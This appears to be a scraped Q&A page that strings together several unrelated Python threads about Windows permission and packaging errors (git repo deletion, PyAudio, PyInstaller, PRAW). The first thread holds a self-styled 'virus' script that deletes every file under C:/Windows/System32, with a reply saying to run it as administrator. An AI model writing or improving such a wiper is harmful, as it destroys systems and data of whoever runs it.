I'm building a simple """virus""" for testing my basic abilities in python (obviously I'm not share this file with others, this have only coding scope and I'm testing on virtual machine). I'm trying to destruct my virtual machine deleting System32 files.
I've searched a lot online: i've tested os.chmode (also with stat library) and other methods, but i can't find a valid solution, and i wish I can find it here. This is my code:
import os
import webbrowser
from time import sleep
home="C:/Windows/System32"
for dirpath,dirnames,file in os.walk(home):
webbrowser.open("https://cat-bounce.com/")
for dirpath,dirnames,file in os.walk(home):
for files in file:
webbrowser.open("https://cat-bounce.com/")
dirpath1=os.path.normpath(dirpath)
childpath=os.path.join(dirpath1,files)
try:
os.remove(childpath)
except PermissionError:
print("denied")
sleep(1.5)
print("\nare you alive?")
for all the solution the output was "denied" (from the print). Without try and except the error was
PermissionError: [WinError 5] Access denied: 'C:/Windows/System32'
P.S: sorry for grammatical errors, I'm not english😢
The easiest way is to run the code as an administrator.
Related
When I am trying to
import requests i get the following error
PermissionError: [WinError 32] The process cannot access the file because it is being used by another process: 'C:\Users\…\AppData\Local\Temp\tmp2o4693yn'
How may I solve this issue?
Thanks in advance
I’m using python 3.10 on windows 11
I could solve it by removing two *.pth files that were created when I had installed python-certifi-win32. deleting these two files prevents python-certifi-win32 from loading when python is run.
Location of the files
C:\Users<username>\AppData\Local\Programs\Python\Python310\Lib\site-packages
Files:
python-certifi-win32-init.pth
distutils-precedence.pth
The issue
I developed a PyQt app that uses NLTK to throw item recommendations based on a query, and now I need to package it into a standalone app. After checking the internet for weeks, I tried fbs, but ended up going to pyinstaller. When I tweaked the necessary things, the app was succesfully built... For Linux. Issue here is, I need it to be able to run on Windows, and I'm using Ubuntu.
In order to package it for Windows, I read everywhere that the best choice is to just wine pyinstaller and call it a day, but when I do that, I end up with this error message:
OSError [WinError 127] Procedure not found: 'RtlIpv6AddressToStringA'
For what I can collect, this is a semi-usual thing, since it looks like NLTK and PyInstaller do not get along well.
What I tried
Modifying hook-nltk.py and changed the lines regarding nltk_data
Using PyInstaller with the .py file as well as the .spec file
Looking pretty much everywhere finding someone with a similar problem, to no avail
As the title describes, I need to remove a git repository by using python.
I've seen other questions about this very same topic, but none of the solutions seem to work for me.
My work:
I need to download a repository, using gitpython, followed by checking some irrelevant things. After the process is finished, I need to delete the repository to save space for whoever is using my script.
The problem:
When cloning a git repository, a .git file will be created. This file is hidden in windows, and the modules I've been using do not have permission to delete any of the files within the .git folder.
What I've tried:
import shutil
shutil.rmtree('./cloned_repo')
PermissionError: [WinError 5] Access is denied:
Any help regarding this issue would be deeply appreciated.
Git has some readonly files. You need to change the permissions first:
import subprocess
import shutil
import os
import stat
from os import path
for root, dirs, files in os.walk("./cloned_repo"):
for dir in dirs:
os.chmod(path.join(root, dir), stat.S_IRWXU)
for file in files:
os.chmod(path.join(root, file), stat.S_IRWXU)
shutil.rmtree('./cloned_repo')
As noted above, this is because many of Git's files are read-only, which Python does not delete gracefully on Windows. The GitPython module has a utility function for just this purpose: git.util.rmtree
Calling the function like so should resolve your problem:
from git import rmtree
rmtree('./cloned_repo')
You can also see their source here--it's similar to the answer above, as of Dec 2020.
I've tried all the suggestions above, but none of them worked.
I'm using the GitPython module to handle my git repo's and I'm not convinced that I'm handling any open connections correctly. Saying that I have found a way to kill all git sessions which "fixed" my issue. (Albeit it a dirty fix)
import os
folder = "path/to/root"
git_repo = git.Repo(folder)
# do something with gitrepo
os.system(f'taskkill /IM "git.exe" /F')
This is not a good solution as you might have other git session open that you don't want to close. One way will be to make sure you close the git session, by closing it.
git_repo = git.Repo(folder)
#do something with gitrepo
git_repo.close()
Although the better way will be to use a context manager like 'with'
import git
with git.Repo(folder) as git_repo:
# do something with gitrepo
The context manager makes it easier to manage the git repo, and less likely have open repo's in session, thus less likely to have read only access errors.
If you use tempfile.TemporaryDirectory in Python 3.8+, this will just work. The specific issue with Git and Windows was considered a bug in Python and addressed in 3.8.
For <=3.7, you'll need to refer to one of the other answers, or to some workarounds linked in the Python issue.
I'm trying to put PyAudio on Windows (yes, I know. It is the worst trying to do such) and I've hit a wall. I'm using Python 3.4 64 bit on Windows 10. Knowing the issues with PyAudio's Windows support I downloaded the Windows binary from http://www.lfd.uci.edu/~gohlke/pythonlibs/#pyaudio. More specifically - PyAudio‑0.2.8‑cp35‑none‑win_amd64.whl. After extracting the file I copied the contents into site-packages and just to try copied the entire folder into site-packages (with contents) and changed the folder name to PyAudio.
The contents are:
pyaudio.py
_portaudio.cp35-win_amd64.pyd
PyAudio-0.2.8.dist-info(folder){
DESCRIPTION.rst
METADATA
metadata.json
pbr.json
RECORD
top_level
WHEEL
}
However, when I try to run PyAudio I get the following import error "No module named '_portaudio'" when it attempts to import as shown below.
try:
import _portaudio as pa
except ImportError as e:
print(e)
print("Please build and install the PortAudio Python " +
"bindings first.")
sys.exit(-1)
So, to attempt to fix the error I renamed the pyd to _portaudio and went into the pyd to change the name to _portaudio before the PYInit__portaudio call as well. However, in doing that it attempts to read it as a 32 bit version and gives me the error "DLL load failed: %1 is not a valid Win32 application". Unfortunately, I can't copy and paste _portaudio.cp35-win_amd64 as an import in pyaudio.py because the syntax attempts to resolve the - as a statement. From this point I can't think of anything else to get it working. Any tips would be awesome, thanks!
EDIT:
I intentionally put the statement (yes, I know. It is the worst trying to do such) in the post because I know that a linux environment would be a better choice but it wasn't an option. I just didn't want to get comments or answers suggesting I run my project on Ubuntu so please don't remove it. :)
I'm trying to wrap my Python script into an application using py2app, but when I try to run the app I'm getting this PRAW related error:
Exception: Could not find config file in any of: ['/Users/username/CS/Applicationame/dist/applicationname.app/Contents/Resources/lib/python2.7/site-packages.zip/praw/praw.ini', '/Users/username/.config/praw.ini', 'praw.ini']
The strange thing is I navigated to the first path, unzipped site-packages.zip and found praw.ini inside /praw, so I'm not really sure why I'm getting this error. I've also tried using pyinstaller but I get the same error.
I came across this error today - not in the context of py2app, but after a pip upgrade of praw. In case you still have this problem (unlikely :)) and/or in the interest of posterity, here's how I was able to fix it: I noticed that the error was in reading the praw.ini file, which very much exists on my system. The real problem was the owner of the file was root, and the owner only had read privileges. Changing that to have my account read/execute privileges to everything inside praw fixed the issue.